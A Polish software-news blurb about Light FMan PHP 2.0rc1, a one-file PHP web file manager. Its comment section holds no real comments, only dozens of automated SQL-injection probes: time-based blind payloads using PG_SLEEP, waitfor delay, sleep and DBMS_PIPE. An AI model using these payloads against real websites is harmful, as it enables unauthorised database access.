Light FMan PHP wyświetla nam nazwy, rozmiary i daty modyfikacji wszystkich plików i katalogów. Możliwe jest również sortowanie zawartości katalogu według każdego z tych pól. W odnajdywaniu potrzebnej zawartości pomoże nam także wyszukiwarka, wzorowana na tej znanej z Norton, Midnight czy Total Commandera; wystarczy wpisać szukaną frazę i kliknąć Search. Dużą zaletą programu Light FMan PHP jest również możliwość wypróbowania jego działania na stronie domowej. Do jego zdecydowanych plusów należy także nieskomplikowana struktura (jeden plik) i mały rozmiar, które pozwalają m.in. na dołączanie go do wszelkiego rodzaju repozytoriów plikowych. W wersji 2.0rc1 poprawiono strukturę kodu, wprowadzono możliwość wyświetlania katalogów w postaci drzewa (z użyciem technologii AJAX) i ułatwiono pobieranie i dostęp do szczegółowych informacji o pliku. Rozbudowano też funkcjonalność wyszukiwarki i systemu tworzenia logów oraz usunięto sporo błędów.
http://www.capponcino.it/lfman
Light FMan PHP 2.0rc1
Light FMan PHP to opensourcowy (licencja GNU GPL), napisany w PHP z użyciem JavaScriptu menedżer plikowy. Działa w praktycznie dowolnej przeglądarce internetowej - był testowany m.in. na Firefoksie, Internet Explorerze, Konquerorze, Operze i Safari.
Zaloguj się, aby dodać komentarz
Opinie czytelników
~
data: 2026-06-09 01:11:29(select 198766*667891 from DUAL)
~
data: 2026-06-09 01:10:56555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
~
data: 2026-06-09 01:10:56555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
~
data: 2026-06-09 01:10:40555pF9H1jMx')) OR 14=(SELECT 14 FROM PG_SLEEP(15))--
~
data: 2026-06-09 01:10:37555DHEhCXbd') OR 686=(SELECT 686 FROM PG_SLEEP(15))--
~
data: 2026-06-09 01:10:36555ymLffkqW' OR 133=(SELECT 133 FROM PG_SLEEP(15))--
~
data: 2026-06-09 01:10:30555-1)) OR 585=(SELECT 585 FROM PG_SLEEP(15))--
~
data: 2026-06-09 01:10:14555-1 OR 871=(SELECT 871 FROM PG_SLEEP(15))--
~
data: 2026-06-09 01:10:14555-1) OR 960=(SELECT 960 FROM PG_SLEEP(15))--
~
data: 2026-06-09 01:10:13555-1 waitfor delay '0:0:15' --
~
data: 2026-06-09 01:10:13555FX4Zo7gX'; waitfor delay '0:0:15' --
~
data: 2026-06-09 01:10:12(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
~
data: 2026-06-09 01:10:12555-1; waitfor delay '0:0:15' --
~
data: 2026-06-09 01:10:12555-1); waitfor delay '0:0:15' --
~
data: 2026-06-09 01:10:11555*if(now()=sysdate(),sleep(15),0)
~
data: 2026-06-09 01:10:115550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
~
data: 2026-06-09 01:10:115550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
~
data: 2026-06-09 00:57:59(select 198766*667891 from DUAL)
~
data: 2026-06-09 00:57:57555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
~
data: 2026-06-09 00:57:56555QTgXMSFV')) OR 709=(SELECT 709 FROM PG_SLEEP(15))--
~
data: 2026-06-09 00:57:56555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
~
data: 2026-06-09 00:57:55555GZt83can' OR 673=(SELECT 673 FROM PG_SLEEP(15))--
~
data: 2026-06-09 00:57:55555hKX5J2Wc') OR 199=(SELECT 199 FROM PG_SLEEP(15))--
~
data: 2026-06-09 00:57:54555-1) OR 162=(SELECT 162 FROM PG_SLEEP(15))--
~
data: 2026-06-09 00:57:54555-1)) OR 369=(SELECT 369 FROM PG_SLEEP(15))--
~
data: 2026-06-09 00:57:53555jJ0wBJHD'; waitfor delay '0:0:15' --
~
data: 2026-06-09 00:57:53555-1 OR 250=(SELECT 250 FROM PG_SLEEP(15))--
~
data: 2026-06-09 00:57:52555-1); waitfor delay '0:0:15' --
~
data: 2026-06-09 00:57:52555-1 waitfor delay '0:0:15' --
~
data: 2026-06-09 00:57:515550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
~
data: 2026-06-09 00:57:51(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
~
data: 2026-06-09 00:57:51555-1; waitfor delay '0:0:15' --
~
data: 2026-06-09 00:57:50555*if(now()=sysdate(),sleep(15),0)
~
data: 2026-06-09 00:57:505550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
~
data: 2026-06-09 00:55:12(select 198766*667891 from DUAL)
~
data: 2026-06-09 00:55:10555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
~
data: 2026-06-09 00:55:10555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
~
data: 2026-06-09 00:55:09555We1RbfBL')) OR 413=(SELECT 413 FROM PG_SLEEP(15))--
~
data: 2026-06-09 00:55:08555xaOiFSiV' OR 67=(SELECT 67 FROM PG_SLEEP(15))--
~
data: 2026-06-09 00:55:085558vy4cLCC') OR 884=(SELECT 884 FROM PG_SLEEP(15))--
~
data: 2026-06-09 00:55:07555-1) OR 101=(SELECT 101 FROM PG_SLEEP(15))--
~
data: 2026-06-09 00:55:07555-1)) OR 678=(SELECT 678 FROM PG_SLEEP(15))--
~
data: 2026-06-09 00:55:06555-1); waitfor delay '0:0:15' --
~
data: 2026-06-09 00:55:06555-1 waitfor delay '0:0:15' --
~
data: 2026-06-09 00:55:06555PXmXqCty'; waitfor delay '0:0:15' --
~
data: 2026-06-09 00:55:06555-1 OR 536=(SELECT 536 FROM PG_SLEEP(15))--
~
data: 2026-06-09 00:55:055550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
~
data: 2026-06-09 00:55:05(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
~
data: 2026-06-09 00:55:05555-1; waitfor delay '0:0:15' --
~
data: 2026-06-09 00:55:04555*if(now()=sysdate(),sleep(15),0)
~
data: 2026-06-09 00:55:04555*if(now()=sysdate(),sleep(3),0)
~
data: 2026-06-09 00:55:04555*if(now()=sysdate(),sleep(15),0)
~
data: 2026-06-09 00:55:045550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z












